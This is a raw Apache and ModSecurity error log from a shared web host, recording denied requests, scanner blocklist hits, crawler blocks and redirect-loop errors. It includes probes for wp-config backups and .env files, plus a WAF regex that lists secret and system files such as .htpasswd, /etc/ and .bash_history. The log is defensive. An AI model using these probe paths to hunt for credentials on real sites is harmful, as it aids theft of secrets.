https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:12:26.982763 2026] [access_compat:error] [pid 531155:tid 531188] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:12:27.072000 2026] [security2:error] [pid 531155:tid 531268] [remote 17.22.245.180:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 180.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x6ymiP80klyS0NnoDsgABZnA"] [Sat Jun 13 18:12:27.073098 2026] [security2:error] [pid 531797:tid 531908] [remote 216.73.216.182:32721] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 182.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/"] [unique_id "ai3x68TA7b1mZrmcA-813QAChSw"] [Sat Jun 13 18:12:27.309621 2026] [access_compat:error] [pid 531797:tid 531924] [remote 57.141.14.103:50164] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:27.309914 2026] [access_compat:error] [pid 531797:tid 531924] [remote 57.141.14.103:50164] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:27.501331 2026] [access_compat:error] [pid 531797:tid 531923] [remote 57.141.14.108:53151] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:27.501609 2026] [access_compat:error] [pid 531797:tid 531923] [remote 57.141.14.108:53151] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:27.502223 2026] [access_compat:error] [pid 531155:tid 531234] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQxL2RldmljZS9wb3dlcg== [Sat Jun 13 18:12:27.502690 2026] [access_compat:error] [pid 531155:tid 531234] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQxL2RldmljZS9wb3dlcg== [Sat Jun 13 18:12:27.658709 2026] [access_compat:error] [pid 531797:tid 531985] [remote 57.141.14.67:29799] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:27.659166 2026] [access_compat:error] [pid 531797:tid 531985] [remote 57.141.14.67:29799] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:27.925380 2026] [security2:error] [pid 531155:tid 531184] [remote 17.22.237.34:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 34.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x6ymiP80klyS0NnoDxQABXRw"] [Sat Jun 13 18:12:27.984724 2026] [access_compat:error] [pid 531797:tid 531984] [remote 57.141.14.103:63904] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:27.984996 2026] [access_compat:error] [pid 531797:tid 531984] [remote 57.141.14.103:63904] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:28.006919 2026] [core:error] [pid 531797:tid 532077] [client 47.79.200.145:55830] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:12:28.006939 2026] [core:error] [pid 531797:tid 532077] [client 47.79.200.145:55830] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:12:28.021072 2026] [access_compat:error] [pid 531155:tid 531180] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50Mi9kZXZpY2UvZXZlbnQyL2RldmljZS9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:12:28.021507 2026] [access_compat:error] [pid 531155:tid 531180] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50Mi9kZXZpY2UvZXZlbnQyL2RldmljZS9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:12:28.127839 2026] [security2:error] [pid 531797:tid 532093] [client 172.56.168.133:21472] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3x7MTA7b1mZrmcA-82FwAAAnI"] [Sat Jun 13 18:12:28.127974 2026] [security2:error] [pid 531797:tid 532093] [client 172.56.168.133:21472] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3x7MTA7b1mZrmcA-82FwAAAnI"] [Sat Jun 13 18:12:28.456584 2026] [access_compat:error] [pid 531797:tid 531899] [remote 57.141.14.109:35842] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:28.456903 2026] [access_compat:error] [pid 531797:tid 531899] [remote 57.141.14.109:35842] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:28.485491 2026] [access_compat:error] [pid 531155:tid 531203] [remote 57.141.14.49:57905] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:28.485947 2026] [access_compat:error] [pid 531155:tid 531203] [remote 57.141.14.49:57905] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:28.560837 2026] [access_compat:error] [pid 531155:tid 531267] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvZGV2aWNlL2lk [Sat Jun 13 18:12:28.561279 2026] [access_compat:error] [pid 531155:tid 531267] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvZGV2aWNlL2lk [Sat Jun 13 18:12:28.687440 2026] [access_compat:error] [pid 531797:tid 531898] [remote 57.141.14.67:29801] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:28.687872 2026] [access_compat:error] [pid 531797:tid 531898] [remote 57.141.14.67:29801] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:29.104421 2026] [security2:error] [pid 531155:tid 531387] [client 114.119.150.110:33191] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.lisamiastudios.com"] [uri "/blog/keyword"] [unique_id "ai3x7SmiP80klyS0NnoD3wAAAXA"], referer: https://www.lisamiastudios.com/blog/2014/9/blog-test-2 [Sat Jun 13 18:12:29.124379 2026] [access_compat:error] [pid 531155:tid 531168] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UyL2RldmljZS9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:12:29.124692 2026] [access_compat:error] [pid 531155:tid 531168] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UyL2RldmljZS9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:12:29.147865 2026] [security2:error] [pid 531155:tid 531359] [client 5.252.179.67:55528] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-config\\\\.php(?:\\\\W[a-z]*|bak)" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "300"] [id "900256"] [msg "Wp-Config Backup/edit file request"] [hostname "impromptufridaynights.com"] [uri "/wp-config.php.orig"] [unique_id "ai3x7SmiP80klyS0NnoD4wAAAVQ"] [Sat Jun 13 18:12:29.264182 2026] [security2:error] [pid 531155:tid 531256] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/var/www/.env"] [unique_id "ai3x7SmiP80klyS0NnoD5wABUmQ"] [Sat Jun 13 18:12:29.352119 2026] [security2:error] [pid 531797:tid 532039] [client 5.252.179.67:55530] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-config\\\\.php(?:\\\\W[a-z]*|bak)" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "300"] [id "900256"] [msg "Wp-Config Backup/edit file request"] [hostname "impromptufridaynights.com"] [uri "/wp-config.php.save"] [unique_id "ai3x7cTA7b1mZrmcA-82VQAAAj4"] [Sat Jun 13 18:12:29.400677 2026] [security2:error] [pid 531155:tid 531197] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/var/www/html/.env"] [unique_id "ai3x7SmiP80klyS0NnoD6gABFCk"] [Sat Jun 13 18:12:29.493840 2026] [security2:error] [pid 531797:tid 532101] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/strcoll.phpt"] [unique_id "ai3x7cTA7b1mZrmcA-82WQAAAno"] [Sat Jun 13 18:12:29.550767 2026] [access_compat:error] [pid 531155:tid 531183] [remote 57.141.14.18:52346] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:29.551234 2026] [access_compat:error] [pid 531155:tid 531183] [remote 57.141.14.18:52346] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:29.551796 2026] [security2:error] [pid 531155:tid 531310] [client 114.119.144.85:41439] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.an-ime.com"] [uri "/"] [unique_id "ai3x7SmiP80klyS0NnoD7wAAASM"], referer: https://www.an-ime.com?episode=%D8%A7%D9%86%D9%85%D9%8A-%D8%B1%D9%8A%D8%A7%D8%B6%D9%8A-days-tv-%D8%A7%D9%84%D8%AD%D9%84%D9%82%D8%A9-01-%D9%85%D8%AA%D8%B1%D8%AC%D9%85%D8%A9-%D8%B9%D8%B1%D8%A8%D9%8A-%D9%85%D8%B4%D8%A7%D9%87%D8%AF [Sat Jun 13 18:12:29.641914 2026] [access_compat:error] [pid 531155:tid 531189] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9kZXZpY2UvaW5wdXQvaW5wdXQ0L3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:12:29.642196 2026] [access_compat:error] [pid 531155:tid 531189] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9kZXZpY2UvaW5wdXQvaW5wdXQ0L3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:12:29.937316 2026] [access_compat:error] [pid 531797:tid 531924] [remote 57.141.14.89:39686] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:29.937749 2026] [access_compat:error] [pid 531797:tid 531924] [remote 57.141.14.89:39686] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:30.037392 2026] [security2:error] [pid 531797:tid 531933] [remote 17.241.75.7:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 7.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x7sTA7b1mZrmcA-82bQACVUU"] [Sat Jun 13 18:12:30.038305 2026] [access_compat:error] [pid 531797:tid 531918] [remote 57.141.14.98:38506] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:30.038759 2026] [access_compat:error] [pid 531797:tid 531918] [remote 57.141.14.98:38506] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:30.157302 2026] [access_compat:error] [pid 531155:tid 531185] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ2 [Sat Jun 13 18:12:30.157613 2026] [access_compat:error] [pid 531155:tid 531185] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 